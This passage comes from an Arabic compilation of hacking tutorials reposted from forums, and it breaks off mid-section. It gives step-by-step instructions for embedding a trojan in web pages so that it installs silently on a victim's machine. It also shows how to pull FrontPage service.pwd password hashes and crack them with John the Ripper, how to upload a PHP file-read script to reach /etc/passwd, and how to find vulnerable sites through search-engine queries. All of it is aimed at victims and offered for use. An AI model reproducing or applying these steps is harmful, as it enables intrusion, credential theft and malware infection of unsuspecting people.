‫" شرح بربنامج السطور ة ‪God‬‬ ‫‪Will‬في تلغيم الصفحات "‬ ‫>منقول من منتدى ابن مصر<‬ ‫>الكاتب‪ :‬بو مفر ح<‬ ‫كل ما يلزمنا هو ‪:‬‬ ‫** ملف الــ ‪ html‬الذي تريد تلغيمه‪.‬‬ ‫** ملف الباتش الذي تريد وضعه في الصفحة‪ ).‬يجب‬ ‫أن يكون أقل من ‪ 34‬بايت (‬ ‫** برنامج السطورة ‪ Godwill‬لتلغيم الصفحة‪.‬‬ ‫و تجد هذا البرنامج في اللينك التالي‪:‬‬ ‫_‪http://www.geocities.com/love2002‬‬ ‫‪il/godwill16.zip‬‬ ‫و السيريال نامبر‪tlsecurity :‬‬ ‫لنبدأ‪:‬‬ ‫بعد تجهيز ملف الــ ‪ html‬المراد تلغيمه‪ ،‬و ملف‬ ‫الباتش‪ ،‬شغل برنامج ‪ Godwill‬بعد تحميل‪ ،‬و ستجد‬ ‫أمامك النافذة التالية‪...‬‬ ‫‪426‬‬

‫اضغط على زر ‪ html‬لتجد نفسك في النافذة التالية‪...‬‬

‫‪427‬‬

‫اضغط على الخيار ‪ General Options‬لتنتقل‬ ‫للنافذة التالية‪...‬‬

‫‪428‬‬

‫اتبع التعليمات الموهجودة في هذه النافذة‪ ،‬و من ثم‬ ‫اضغط الزر ‪Done‬‬ ‫بعدها ستنتقل إلى النافذة التالية‪...‬‬

‫‪429‬‬

‫اضغط زر ‪Gen‬‬ ‫سيظهر لك في مجلد البرنامج ملف له نفس السم الذي‬ ‫وضعته في الحقل رقم ‪ ...enter Output 3‬و هذا‬ ‫الملف يمثل الصفحة الملغومة‪...‬‬ ‫قم بتحميل الصفحة على إحدى المواقع المستضيفة‬ ‫للصفحات مثل‬ ‫‪ /http://www.tripod.lycos.co.uk‬و احتفظ‬ ‫بعنوان صفحتك الملغومة هجيدا‪...‬‬ ‫عند فتح الضحية لصفحتك الملغومة‪ ...‬سيقو‪.‬م الباتش‬ ‫بتحميل نفسه بنفسه بدون أن يحس الضحية بأي شيء‬ ‫) طبعا إل إذا كان لديه ‪ ( zone Alarm‬و عند‬ ‫إعادته لتشغيل الكمبيوتر‪ ،‬سيقو‪.‬م الباتش بتشغيل‬ ‫‪430‬‬

‫نفسه‪ ...‬و ستصلك رساله منه برقم أي بي هجهاز‬ ‫الضحية و رقم البورت الذي تم فتحه‪...‬‬ ‫و هون بقى ‪ ،‬أنت بتعرف شغلك‪.‬‬ ‫انتهى‪،،،‬‬

‫" وداعا ً للبربنامج السطور ة ومرحبا‬ ‫ببربنامج ‪"NOOP4‬‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪< ¤§.®MoHfOx®.§¤ :‬‬

‫‪431‬‬

‫وهو ل يرتقى إلى مستوى ‪ god will‬لكنه تخفيف هجدا‬ ‫‪.‬‬ ‫ول يجعلك ترتبط لحجم معين مثل برنامج‬ ‫‪.. godwill‬‬ ‫هذا البرنامج من اهجل دمج بالباتش وتهيئة علي اساس‬ ‫انه صفحه علي النت‬ ‫اسم البرنامج هو ‪noob 4.0‬‬ ‫من ااهجل عيون الجوكر والجميع‬ ‫=============================‬ ‫==========‬ ‫=============================‬ ‫‪ -1‬البرنامج‬ ‫الصوره توضح ما هوالشر ح عند ضغطك علي‬ ‫البرنامج وفتحه سوف تاتي هذه الشاشه‬

‫‪432‬‬

‫========‬ ‫=============================‬ ‫==‬ ‫=============================‬ ‫‪ layout 2‬للبرنامج‪<<<<====:::‬‬ ‫هو تخاص بتكوينات الصفحه وينقسم الي ‪ 6‬اهجزاء‬ ‫‪ -2‬تخاصه بتكوين الصفحه لمستخدمي ‪Internet‬‬ ‫‪Explorer 5‬‬ ‫‪ -3‬تخاص بتكوين الصفحه لمستخدمي ‪Internet‬‬ ‫‪Explorer5.5‬‬ ‫‪4‬و ‪ 5‬هما الي تحديد نوع الملفات المستخدمه في‬ ‫‪433‬‬

‫الدمج‬ ‫‪ -6‬هي ما سوف يقو‪.‬م البرنامج بدمجه مع الصفحه من‬

‫ملفات‬ ‫=============================‬ ‫=====================‬ ‫===================‬ ‫‪ executable file 3‬لتختيار الباتش‬ ‫‪<<<<====:::‬‬ ‫‪ -7‬لتحديد مكان الباتش من علي الجهاز‬ ‫‪ -8‬للبداء في تكوين الباتش‬

‫‪434‬‬

‫=============================‬ ‫==========‬ ‫=============================‬ ‫‪ -9‬هو اتخر المطاف هو انهاء العدادت لتكوين الباتش‬ ‫مع الصفحه‪<<<<====:::‬‬

‫‪435‬‬

‫وفي نهايه عمل البرنامج يعطي لك المكان الذي تريد‬ ‫ان يحفظ في الصفحه المدموهجه‪.‬‬

‫وصلة البرنامج‪...‬‬

‫‪436‬‬

‫انتهى‪،،،‬‬

‫" معلومات مهمة عن المواقع التي‬ ‫تدعم الفروبنت بيج "‬ ‫>منقول<‬ ‫>الكاتب‪<. ( T.O.L. ( DeXXa :‬‬ ‫ما الذي يجب أن تعرفه قبل قراءة هذا الدرس ‪:‬‬ ‫* اللما‪.‬م بالنجليزية ‪.‬‬ ‫* قراءة المزيد عن الـ ‪FrontPage Server‬‬ ‫‪ Extensions‬و ليس كيفية اتختراقه ‪.‬‬

‫‪437‬‬

‫* كيفية التعامل مع برنامج ‪Microsoft Office‬‬ ‫‪. FrontPage‬‬ ‫* كيفية التعامل مع الـ ‪. CHMOD‬‬ ‫* كيفية التعامل مع الـ ‪. Telnet‬‬ ‫* كيفية التعامل مع بروتوكول ‪. HTTP‬‬ ‫* كيفية التعامل مع قواعد البيانات العلئقية ‪. SQL‬‬ ‫* كيفية التعامل مع أحد لغات الويب و التي تعمل‬ ‫بناحية الخاد‪.‬م ‪Server Side Scripting‬‬ ‫‪. Language‬‬ ‫و اذكر أتخير ًا بأني اؤمن بأن المخترق ما هو إل انسان‬ ‫وظيفته البرمجة و ادارة و تحليل النظم و الشبكات و‬ ‫ليس انسان همه هو معرفة القليل‬ ‫من المور التي تساعده في التخريب و العبث بما تعب‬ ‫به التخرون و تضييع الوقت في الدردشة و التسكع‬ ‫بمقاهي النترنت ‪ ،‬و لذا فافترض بأن‬ ‫ما أقوله سيكون واضح ًا و ل يحتاج لـ ‪Screen‬‬ ‫‪. Capture‬‬ ‫@ تخريطة الموضوع ‪:‬‬ ‫‪ .‬ما الذي ستسفيده عند قراءة الموضوع ؟‬ ‫‪438‬‬

‫‪ .‬مقدمة‬ ‫‪ .‬ما هو الـ ‪FrontPage Server‬‬ ‫‪ Extensions‬؟‬ ‫‪ .‬ما هي آلية عمل الـ ‪FrontPage Extension‬‬ ‫‪ Server‬؟‬ ‫‪ .‬كيفية التصال بـ ‪FrontPage Extension‬‬ ‫‪Server‬‬ ‫‪ .‬كيفية معرفة هل الموقع يدعم الـ ‪ FrontPage‬أ‪.‬م‬ ‫ل‬ ‫‪ .‬كيفية استغلله ليصبح في صلحك‬

‫@ ما الذي ستستفيده عند قراءتك للموضوع ؟‬ ‫* ستعرف ما هو الـ ‪FrontPage Server‬‬ ‫‪. Extensions‬‬ ‫* آلية عمله ‪.‬‬ ‫* كيفية هجمع المعلومات الخاصة بأي موقع ‪.‬‬ ‫* بعض الطرق للستفادة منه عند التصال بالخاد‪.‬م‬ ‫الخاص به ‪.‬‬ ‫@ مقدمة ‪:‬‬ ‫‪439‬‬

‫تسعى شركات التسكين بأنواعها توفير شتى شبل‬ ‫الراحة لعملئها ‪ ،‬فتجدهم يقدمون العروض و‬ ‫التخفيضات لرضاء العملء مثل دعم لـ ‪ PHP‬و‬ ‫‪ CGI‬و ‪ Perl‬و ‪ SSL‬و ‪ FTP‬و ‪. SQL‬‬ ‫و بالنسبة لمدارء المواقع ‪ Webmasters‬فإن‬ ‫البرنامج المفضل لهم لتصميم مواقعهم هو‬ ‫‪ Microsoft Office FrontPage‬و الذي كما‬ ‫هو مبين يأتي‬ ‫مع حزمة ‪ ، Office‬اذ يتميز بسهولة استعماله كما‬ ‫انه يوفر بعض البرمجيات مثل عداد الزوار ‪ ،‬و لذا‬ ‫تقد‪.‬م شركات التسكين دعم كامل للبرنامج ‪.‬‬ ‫@ ما هو الـ ‪FrontPage Server‬‬ ‫‪ Extensions‬؟‬ ‫) ملحظة ‪ :‬سأتكلم حالي ًا عن الحز‪.‬م التي أتت بعد‬ ‫حزمة الصدار الثاني (‬

‫‪440‬‬

‫هو عبارة عن حزمة من البرامج يتم تثبيتها في الخاد‪.‬م‬ ‫‪ Server‬الخاص بشركة التسكين التي لها قالبية‬ ‫لدعم بعض الخصائص ‪.‬‬ ‫و عند التثبيت يجب انشاء عدة مجلدات منها ‪:‬‬ ‫‪private_/‬‬ ‫‪vti_bin_/‬‬ ‫‪vti_cnf_/‬‬ ‫‪vti_log_/‬‬ ‫‪vti_pvt_/‬‬ ‫‪vti_txt_/‬‬ ‫و سأتكلم عن وظيفة كل مجلد يهمنا ‪:‬‬ ‫* المجلد _‪: vti_bin‬‬ ‫و يتواهجد بداتخله مجلدان هما ‪:‬‬ ‫) ملحظة ‪ :‬النقطتان تشيران إلى المجلد _‬ ‫‪( vti_bin‬‬ ‫‪441‬‬

‫‪/vti_adm_/..‬‬ ‫‪/vti_aut_/..‬‬ ‫الثاني ل يهمنا بقدر ما يهم المجلد الول اذ أنه الخاص‬ ‫بالمشرف ول تستطيع الستفادة منه اذا لم تحصل على‬ ‫كلمة المرور الخاصة به ‪.‬‬ ‫كما يوهجد ملفان هما ‪:‬‬ ‫‪shtml.exe/..‬‬ ‫‪fpcount.exe/..‬‬ ‫* المجلد _‪: vti_pvt‬‬ ‫و يتواهجد بداتخله عدة ملفات ما يهمنا منها هو الملفات‬ ‫التالية ‪:‬‬ ‫ الملف ‪ : service.pwd‬و فيه يتواهجد المعرف و‬‫كلمة المرور الخاصة بالمشرف مشفرة بمقياس ‪DES‬‬ ‫‪.‬‬ ‫ الملف ‪ : service.grp‬و فيه يتواهجد المعرفين‬‫من مشرفين و ‪. authors‬‬ ‫‪442‬‬

‫ ملفي ‪ deptodoc.btr‬و ‪ : doctodep.btr‬و‬‫فيه يتواهجد مسارات الملفات التي تم تحميلها على‬ ‫الخاد‪.‬م ‪ ،‬فاذا قمت بتنزيله فتستطيع معرفة الملفات‬ ‫الموهجودة بالموقع ‪.‬‬ ‫و في الغالب ل تستطيع معاينة محتويات المجلد اذ‬ ‫يوهجد في المجلد الرئيسي للموقع ملف ‪htaccess.‬‬ ‫يقو‪.‬م بمنع الجميع ) المالك و المجموعة و‬ ‫الزوار ( من معاينة المجلد و محتوياته ‪.‬‬ ‫) ملحظة ‪ :‬ان عد‪.‬م وضع أي صلحية على المجلدل‬ ‫يعني بأنها تعتبر ثغرة و لكن ضعف من الناحية (‬ ‫* المجلد _‪: private‬‬ ‫و يتواهجد بداتخله ملف واحد فقط هو ‪. htaccess.‬‬ ‫@ ما هي آلية عمل الـ ‪FrontPage‬‬ ‫‪ Extension Server‬؟‬

‫‪443‬‬

‫يعتمد التصال بين العميل و الـ ‪FrontPage‬‬ ‫‪ Extension Server‬على بروتوكول الـ‬ ‫‪. HTTP‬‬ ‫فلو اردنا معاينة عداد الزوار عن طريق برنامج الـ‬ ‫‪ FrontPage‬فانه يتم ارسال طلب ‪Request‬‬ ‫للخاد‪.‬م ثم يمرره الخاد‪.‬م بالـ ‪FrontPage‬‬ ‫‪Extension Server‬‬ ‫و الذي يمرره بالتالي ببرمجيات الخاد‪.‬م مثل‬ ‫‪ ، fpcount.exe‬و من ثم يكرر تمريره مرة أتخرى‬ ‫إلى الـ ‪ Extension Server‬و إلى الخاد‪.‬م و يظهر‬ ‫المخرهجات‬ ‫لـ العميل ‪ ،‬علم ًا ان هذه التصالت تتم عبر هجدار نار ‪.‬‬ ‫@ كيفية التصال بـ ‪FrontPage Extension‬‬ ‫‪: Server‬‬ ‫كما ذكرنا سابق ًا ان أغلب شركات التسكين تسعى‬ ‫لراحة العملء ‪ ،‬فتجدها تدعم تخدمة الـ ‪FrontPage‬‬ ‫و ذلك لتحميل الصفحات للموقع علم ًا بأنها‬

‫‪444‬‬

‫تدعم بروتوكول الـ ‪ FTP‬و تحميل الملفات و انشاء‬ ‫المجلدات عبر المتصفح اعتماد ًا على البرمجيات التي‬ ‫تعمل بناحية الخاد‪.‬م ‪.‬‬ ‫و الن قم بتنفيذ التالي لمعرفة كيفية التصال بالـ‬ ‫‪: FrontPage Extension Server‬‬ ‫) ملحظة ‪ :‬سأتكلم حالي ًا عن حزمة الـ ‪ XP‬و التي ل‬ ‫تختلف أبد ًا عن الحز‪.‬م الباقية إل في بعض النقاط‬ ‫الشكلية (‬ ‫* قم بتشغيل برنامج الـ ‪ FrontPage‬و الذي يأتي‬ ‫مرفق ًا مع حزمة ‪. Office‬‬ ‫* من قائمة ‪ File‬قم باتختيار ‪. Open Web‬‬ ‫* قم باضافة المعرف و كلمة المرور ) الصلية و‬ ‫ليست المشفرة ( ‪.‬‬ ‫* اذا كانت صحيحة سيظهر لك الخاد‪.‬م ملفات الموقع‬ ‫كلها و عندها تستطيع التحميل و التعديل في الملفات و‬ ‫المجلدات و معاينة الشفرة المصدرية‬ ‫للملفات ‪.‬‬ ‫* اذا لم تتم العملية بنجا ح فهذا يعني بأن الموقع ل‬ ‫يدعم الخدمة أو أن المعرف أو كلمة المرور تخاطئة و‬ ‫يطلب منك معاينتها في وضعية القراءة و ل‬ ‫‪445‬‬

‫يظهر لك الشفرة المصدرية الصلية ول المجلدات و‬ ‫الملفات التي يحويها الموقع ‪.‬‬ ‫@ كيفية معرفة هل الموقع يدعم الـ ‪FrontPage‬‬ ‫أ‪.‬م ل ‪:‬‬ ‫يوهجد العديد من الطرق لمعرفة قابلية الموقع لدعم‬ ‫الفرونت بيج نذكر منها ‪:‬‬ ‫* معاينة ملف نجا ح التثبيت ‪:‬‬ ‫) ملحظة ‪ :‬قد ل تجد ملف _‪ vti_inf.html‬و لكن‬ ‫هذا ل يعني أن الموقع ل يدعم الخدمة ‪ ،‬كما أنه ل‬ ‫يعتبر ثغرة (‬ ‫ قم بزيارة أي موقع تريد أن تعرف هل الخاد‪.‬م الخاص‬‫به يدعم الـ ‪ FrontPage‬أ‪.‬م ل ‪.‬‬ ‫ قم بمعانية ملف _‪ vti_inf.html‬بواسطة‬‫المتصفح و ذلك بارفاقه بعنوان الموقع ‪ ،‬مثال ‪:‬‬ ‫‪http://www.Victim.com/_vti_inf.html‬‬ ‫‪446‬‬

‫ و عند معاينة الصفحة ستجد هجملة ‪FrontPage‬‬‫‪ ، Configuration Information‬فهذا معناه‬ ‫أن حزمة الـ ‪FrontPage Extension‬‬ ‫‪ Server‬قد تم تثبيتها‬ ‫في الخاد‪.‬م بنجا ح ‪.‬‬ ‫و لمعرفة اصدارة الخدمة قم بالتالي ‪:‬‬ ‫ قم بالنقر بزر الفأرة اليمن على الصفحة ‪ ،‬ثم قم‬‫باتختيار ‪. Source Code‬‬ ‫ قم بالبحث عن ‪ "FPVersion="Version‬حيث‬‫‪ Version‬تشير للصدار الخاص بالخدمة ‪.‬‬ ‫* عن طريق مجلد _‪: vti_cnf‬‬ ‫ قم بزيارة أي موقع تريد أن تعرف هل الخاد‪.‬م الخاص‬‫به يدعم الـ ‪ FrontPage‬أ‪.‬م ل ‪.‬‬ ‫ قم بمعانية المجلد بواسطة المتصفح و ذلك بارفاقه‬‫بعنوان الموقع ‪ ،‬مثال ‪:‬‬ ‫‪http://www.Victim.com/_vti_cnf‬‬ ‫‪447‬‬

‫ قم بالنقر بزر الفأرة اليمن على الصفحة ‪ ،‬ثم قم‬‫باتختيار ‪. Source Code‬‬ ‫ قم بالبحث عن الشفرة التالية ‪:‬‬‫‪vti_generator:Programe‬‬ ‫ حيث ‪ Programe‬يشير لنوع البرنامج و اصدارته‬‫و سيكون في حالتنا هو ‪Microsoft‬‬ ‫‪ FrontPage X‬و الصدارة الخاصة به هي ‪. X‬‬ ‫* الكشف عن الشفرة المصدرية للصفحة ‪:‬‬ ‫ قم بزيارة أي موقع تريد أن تعرف هل الخاد‪.‬م الخاص‬‫به يدعم الـ ‪ FrontPage‬أ‪.‬م ل ‪.‬‬ ‫ قم بالنقر بزر الفأرة اليمن على الصفحة ‪ ،‬ثم قم‬‫باتختيار ‪. Source Code‬‬ ‫ قم بالبحث بين ترميزي الرأس >‬‫‪ "‪Meta Name="GENERATOR‬‬ ‫‪<"Content="Programe‬‬ ‫‪448‬‬

‫ حيث ‪ Programe‬يرمز لنوع البرنامج و اذا كان‬‫البرنامج هو ‪Microsoft FrontPage X.0‬‬ ‫يتبين لنا بأن الخاد‪.‬م الخاص بالموقع يدعم الفرونت‬ ‫بيج و‬ ‫الصدارة الخاصة به هي ‪. X‬‬ ‫* عن طريق موقع ‪: NetCraft‬‬ ‫ قم بزيارة الموقع ‪. NetCraft.net‬‬‫ قم بكتابة عنوان الموقع مستثني ًا الـ ‪. //:http‬‬‫ انتظر بضع ثواني ‪.‬‬‫ ستجد أن الموقع أعطاك بعض المعلومات عن الملقم‬‫و الخدمات الموهجودة في الموقع الذي تريد معرفة‬ ‫قابلية دعمه للبرنامج ‪ ،‬و من تلك الخدمات‬ ‫تخدمة الـ ‪ FrontPage‬و ستظهر لك بالشكل‬ ‫‪ mod_frontpage/X‬حيث ‪ X‬يرمز لصدارة الـ‬ ‫‪. FrontPage Extensions Server‬‬ ‫* عن طريق الـ ‪: Telnet‬‬

‫‪449‬‬

‫) ملحظة ‪ :‬تساعد هذه الطريقة في معرفة بعض‬ ‫المعلومات عن الخاد‪.‬م و المخرهجات هي نفس مخرهجات‬ ‫الطريقة السابقة (‬ ‫ من قائمة ‪ Start‬قم باتختيار ‪ Run‬و اكتب بالنافذة‬‫التي ستظهر ‪. Telnet‬‬ ‫ قم بالتصال بالموقع عبر المنفذ ‪ 80‬بالشكل التالي ‪:‬‬‫‪Microsoft Telnet> Open‬‬ ‫‪www.Victim.com 80‬‬ ‫ قم بارسال طلب ‪ Request‬للخاد‪.‬م و لتكن الطريقة‬‫‪ Method‬هي ‪. Head‬‬ ‫) ملحظة ‪ :‬عليك اللما‪.‬م بكيفية التعامل مع بروتوكول‬ ‫‪( HTTP‬‬ ‫ قم بارسال التالي حيث‬‫‪ http://www.Victim.net‬هو الموقع الضحية و‬ ‫‪ ISP.net‬هو البروكسي الخاص بمزود الخدمة‬ ‫الخاص بك ‪:‬‬ ‫‪450‬‬

‫‪Head www.Victim.net HTTP/1.1‬‬ ‫‪Host: ISP.net‬‬ ‫‪*/* :Accept‬‬ ‫‪Connection: close‬‬ ‫ انتظر بضع ثواني ‪.‬‬‫ ستستلم الهجابة ‪ Response‬عن الطلب الذي‬‫ارسلتهب للخاد‪.‬م ‪ Server‬مثل تاريخ آتخر تعديل‬ ‫للصفحة و نوع الملقم و الخدمات المتوفرة به ‪.‬‬ ‫و من ضمن الخدمات ستجد نفس الذي وهجدناه في‬ ‫الطريقة السابقة و هو أن تخدمة الـ ‪ FrontPage‬و‬ ‫ستظهر لك بالشكل ‪mod_frontpage/X‬‬ ‫حيث ‪ X‬يرمز لصدارة الـ ‪FrontPage‬‬ ‫‪. Extensions Server‬‬ ‫@ كيفية استغلله ليصبح في صالحك ‪:‬‬ ‫اذا عثرت على موقع يدعم هذه الخدمة و لم يتم وضع‬ ‫صلحيات على مجلد الـ _‪ vti_pvt‬قم بالتالي ‪:‬‬

‫‪451‬‬

‫) ملحظة ‪ :‬عليك اللما‪.‬م بلغة تعمل على ناحية الخاد‪.‬م‬ ‫و في حالتنا فهي الـ ‪ ، PHP‬كما أن على الموقع‬ ‫الضحية دعم هذه اللغة (‬ ‫* قم بالتصال بالموقع الضحية ‪.‬‬ ‫* قم بتحميل ملف ينتهي امتداده بـ ‪ PHP‬و ضمنه‬ ‫التالي ‪:‬‬ ‫>?‪PHP‬‬ ‫‪;("open = FOpen($file, "r$‬‬ ‫‪;((get = FGets($open, FileSize($file$‬‬ ‫‪;Echo $get‬‬ ‫‪;FClose $open‬‬ ‫?<‬ ‫و قمنا هنا برفع ملف ‪ PHP‬للخاد‪.‬م يقو‪.‬م بفتح ملف‬ ‫غير معين ثم يحضر محتوياته على حسب حجمه‬ ‫بالبايت ثم يعرضه ثم يغلق الملف ‪ ،‬و الن كل‬ ‫‪452‬‬

‫ما عليك فعله الن هو الدتخول على الموقع عبر‬ ‫المتصفح و الحاقه بـ بعنوان الملف الذي حملته و‬ ‫المتغير ‪ file‬و الملف الذي تريد معاينة الشفرة‬ ‫المصدرية الخاصة به ‪ ،‬مثال ‪:‬‬ ‫‪http://www.Victim.com/uploded_file.‬‬ ‫‪..../../etc/passwd‬‬ ‫حيث ‪ uploded_file‬يشير لسم الملف الذي قمت‬ ‫بتحميله ‪ ،‬و تستطيع اضافة اوامر تسمح لك بمعاينة‬ ‫الملفات و المجلدات الموهجودة في الخاد‪.‬م ‪.‬‬ ‫انتهى‪،،،‬‬

‫‪453‬‬

454

‫" اوختراق المواقع التي تدعم‬ ‫الفروبنت بيج "‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪ :‬المدمر<‬ ‫اكثر منا يعلم ان هذه الثغرة تخاصة بنظا‪.‬م‪//‬‬ ‫‪NT - Unix‬‬ ‫‪ -1‬وسف أقو‪.‬م الن بشر ح طريقة لمعرفة هل هذه‬ ‫المواقع تدعم ‪ frontpage‬أ‪.‬م ل؟‬ ‫‪455‬‬

‫بعدة طرق ولن أذكر إل السهل‪:‬‬ ‫ بالذهاب إلى موقع ‪netcraft‬‬‫‪/http://www.netcraft.com‬‬ ‫وكتابة اسم الموقع وبعد البحث سوف يظهر‬ ‫‪mod_frontpage/x‬‬ ‫‪)=x‬رقم الصدار الخاص بالفرونت بيج(‬ ‫ عن طريق إضافة هجملة‬‫‪/_vti_inf.html‬‬ ‫بعد عنوان الموقع لنفرض أن الموقع‪:‬‬ ‫‪/http://www.almodammer.com‬‬ ‫نضيف الجملة ليصبح بهذه الطريقة‬ ‫‪http://www.almodammer.com/_vti_i‬‬ ‫‪nf.html‬‬ ‫وبعدها اضغط ‪Enter‬‬ ‫ورا ح يطلعلك في أول الصفحة هذه الكلمة‬ ‫‪Frontpage Configuration‬‬ ‫‪Information‬‬ ‫أي قد تم تثبيت مجلدات وبرامج الفرونت بيج‬ ‫ وأيضا تستطيع معرفة الموقع يدعم الفرونت بيج أ‪.‬م‬‫ل‬ ‫‪456‬‬

‫بإضافة‬ ‫‪/_vti_cnf‬‬ ‫بعد عنوان الموقع كهذا المثال‪:‬‬ ‫‪http://www.almodammer.com/_vti_c‬‬ ‫‪nf‬‬ ‫واضغط زر الفأرة اليمن واتختار‬ ‫‪ source‬المصدر‬ ‫وابحث عن‬ ‫‪vti_generator:Programe‬‬ ‫حيث‬ ‫‪ Programe‬تعني لنوع برنامج الفرونت بيج‬ ‫والصدارات الخاصة به‬ ‫‪-------------------------------------------------‬‬‫‪ -2‬ألحين وعرفنا الموقع يدعم ‪ frontpage‬كيف‬ ‫نقدر نوصل لملف الباسوورد؟‬ ‫بسيطة إنت هات الموقع الي يبدعم ‪frontpage‬‬ ‫واعلمك‬ ‫يعني وعلى سبيل المثال‬ ‫‪/http://www.almodammer.com‬‬ ‫يدعم ‪ fontpage‬طيب نذهب إلى ملف ‪_vti_pvt‬‬ ‫‪457‬‬

‫كذا يعني‬ ‫‪http://www.almodammer.com/_vti_p‬‬ ‫‪vt‬‬ ‫وأول ماندتخله نلحظ وهجود ملفات عديدة وأهم الملفات‬ ‫التي تأتي باسم‪:‬‬ ‫=============‬ ‫‪Adminstrator.pwd‬‬ ‫‪Adminstrators.pwd‬‬ ‫‪Service.pwd‬‬ ‫‪Users.pwd‬‬ ‫‪User.pwd‬‬ ‫‪Author.pwd‬‬ ‫=============‬ ‫ألحين لنفرض إننا فتحنا أحد هذه الملفات ماذا نلحظ‬ ‫نلحظ وهجود‬ ‫‪username:passwd‬‬ ‫اسم المستخد‪.‬م والباسوورد‬ ‫يعني انا اتخترقت موقع بالفرونت بيج ولما هجيت ابي‬ ‫اشوف الملفات طلعلي ملف ‪ service‬يحتوي على‬ ‫‪user / password‬‬ ‫وهذا مضمون الملف‬ ‫‪458‬‬

‫‪operator:hi9LHn9wAMuKM‬‬ ‫حيث اسم المستخد‪.‬م‪operator:‬‬ ‫الباسوورد المشفرة هي‪hi9LHn9wAMuKM:‬‬ ‫ألحين وعرفنا يااتخواني كيف نطلع الباسوورد المشفر‬ ‫ماباقي إل نفك تشفيره‬ ‫وهذا يتم ببرامج كثير‬ ‫=)‪=(Crack Jack‬‬ ‫=)‪=(John The Ripper‬‬ ‫را ح نستخد‪.‬م الفضل والكثر تداول وهو‬ ‫‪John The Ripper‬‬ ‫لتحميل البرنامج من هذا الموقع‪::‬‬ ‫‪http://www.openwall.com/john‬‬ ‫كيف تفك التشفير بهذا البرنامج‬ ‫أول شي ترو ح تنقل البرنامج إلى مجلد‬ ‫\‪c:‬‬ ‫بعدين تفتح مجلد ‪RUN‬‬ ‫وتسويلك مستند نصي ‪ txt‬وتسمي الملف ‪passwd‬‬ ‫وتضع فيه كلمة السر الي تبي تفك تشفيرها‬ ‫‪459‬‬

‫إذهب إلى‬ ‫ابدأ ‪start‬‬ ‫تشغيل ‪run‬‬ ‫اكتب المر‬ ‫‪command‬‬ ‫اضغط على ‪ Enter‬وبعدها را ح يفتح‬ ‫إطار الـ ‪DoS‬‬ ‫اذهب إلى مجلد ‪RUN‬‬ ‫وذلك بالخروج من المجلدات الي را ح تظهر لك واذا‬ ‫تبي تطلع من أي مجلد استخد‪.‬م المر‬ ‫‪cd..‬‬ ‫حتى توصل‬ ‫>\‪c:‬‬ ‫بعدين اكتب‬ ‫‪cd john‬‬ ‫اضغط على ‪Enter‬‬ ‫ورا ح يظهر لك بهذا الشكل‬ ‫>‪c:\john‬‬ ‫واكتب‬ ‫‪cd RUN‬‬ ‫وبتدتخل المجلد ليصبح بهذه الطريقة‬ ‫>‪c:/john/RUN‬‬ ‫‪460‬‬

‫ألحين نكتب أوامر برنامج ‪John The Ripper‬‬ ‫وهي‬ ‫====‬ ‫‪john -i:all passd.txt‬‬ ‫‪-------------------------‬‬‫يبحث لك عن هجميع النواع والحتمالت‬ ‫====‬ ‫‪john -i:Alpha passwd.txt‬‬ ‫‪---------------------------------‬‬‫يبحث عن الحرف الصغيرة‬ ‫====‬ ‫‪john -i:Digits passwd.txt‬‬ ‫‪---------------------------------‬‬‫يبحث عن الرقا‪.‬م‬ ‫====‬ ‫‪john -single passwd.txt‬‬ ‫‪--------------------------------‬‬‫أمر يبحث لك عن الباسووردات التي تطابق اسم‬ ‫المستخد‪.‬م‬ ‫‪461‬‬

‫‪--------------------------------------------------‬‬‫‪----------------------------‬‬‫وبعد ماتجرب كل هذي الوامر وإذا تبي تشوف هل‬ ‫إنت فكيت وكسرت الباسوورد ول ل إذهب إلى‬ ‫‪john.pot‬‬ ‫الموهجود داتخل البرنامج ورا ح يعرض لك الباسوورد‬ ‫وبعد فك تشفيرها‬ ‫‪--------------------------------------------------‬‬‫‪----------------------------‬‬‫إنت ألحين مستريح عندك ‪ username‬والـ‬ ‫‪password‬‬ ‫وش بقالك ؟!!‬ ‫يقالك تلعب بالموقع لعب ألحين دتخوله بعدة طرق‬ ‫وأحسنها من‪/‬‬ ‫)‪(1‬‬ ‫‪frontpage‬‬ ‫بعدين‬ ‫‪ file‬وتذهب إلى‬ ‫‪ open web‬وتضيف‬ ‫‪462‬‬

‫السم والباسوورد وعاد كذا انت الحين تقدر تعدل‬ ‫الملفات على كيفك‬ ‫)‪(2‬‬ ‫من ‪FTP‬‬ ‫وعليك ببرامج الـ ‪ FTP‬المنتشرة‬ ‫كالـ ‪ws-ftp‬‬ ‫والـ ‪pro ftp‬‬ ‫والمزيد ‪...‬‬ ‫ويمكنك عمل الطريقة من ‪ DOS‬ولكن البرامج أسهل‬ ‫لك وأضمن لك‬ ‫=============================‬ ‫=========‬ ‫وألحين أكيد تبون تجربون على موقع أقولكم روحوا‬ ‫‪google‬‬ ‫‪/http://www.google.com‬‬ ‫واكتبوا في إطار البحث‬ ‫‪/_vti_pvt‬‬ ‫ورا ح تطلعلك مواقع كثيرة تحتوي على هذه الثغرة‬ ‫‪463‬‬

‫وعندك محرك بحث‬ ‫‪/http://www.altavista.com‬‬ ‫تكتب في محرك البحث‬ ‫‪link:service.pwd‬‬ ‫أو‪..‬‬ ‫‪link:adminstrators‬‬ ‫وغيرها من الملفات الحتمال وهجود ‪password‬‬ ‫فيها‪.‬‬ ‫انتهى‪،،،‬‬

‫‪464‬‬

‫" الوختراق العشوائي "‬ ‫>منقول<‬ ‫>الكاتب‪ :‬الكندور<‬ ‫ ماهو الـإتختراق العشوائي ‪Random Hacking‬‬‫‪465‬‬

‫ تطويره بحيث يصبح يبحث على إستثمارات غير الـ‬‫‪CGIScripts‬‬ ‫ كيف تستغل اي ثغره بعد الحصول عليها‬‫ ماهو الـإتختراق العشوائي ‪Random Hacking‬‬‫هو البحث في كميه كبيره من المواقع عن ثغره محدده‬ ‫‪ ،‬وهذا سهل ويعود بمواقع كثيره هجدا هجاهزه للتختراق‬ ‫‪ ،‬مثال بسيط هجدا ‪ ،‬رو ح على محرك بحث ‪ ،‬من‬ ‫محركات البحث التي تعتمد على الـ ‪ spiders‬أو‬ ‫العناكب مثل ‪ altavista.com‬وأكتب‬ ‫‪) ، link:xxxx.cgi or pl‬إرهجع لشر ح زورو في‬ ‫رياضيات البحث( مثل نبحث عن لنك لملف بإسم‬ ‫‪ help.cgi ، link:help.cgi‬المواقع المردوده لك‬ ‫نتيجه للبحث كلها تملك منتدى ‪ ، Ikonboard‬إفتح‬ ‫واحد منها وأبحث في المصدر الكود ‪ HTML‬عن‬ ‫السكربت الذي بحثت عنه ‪ 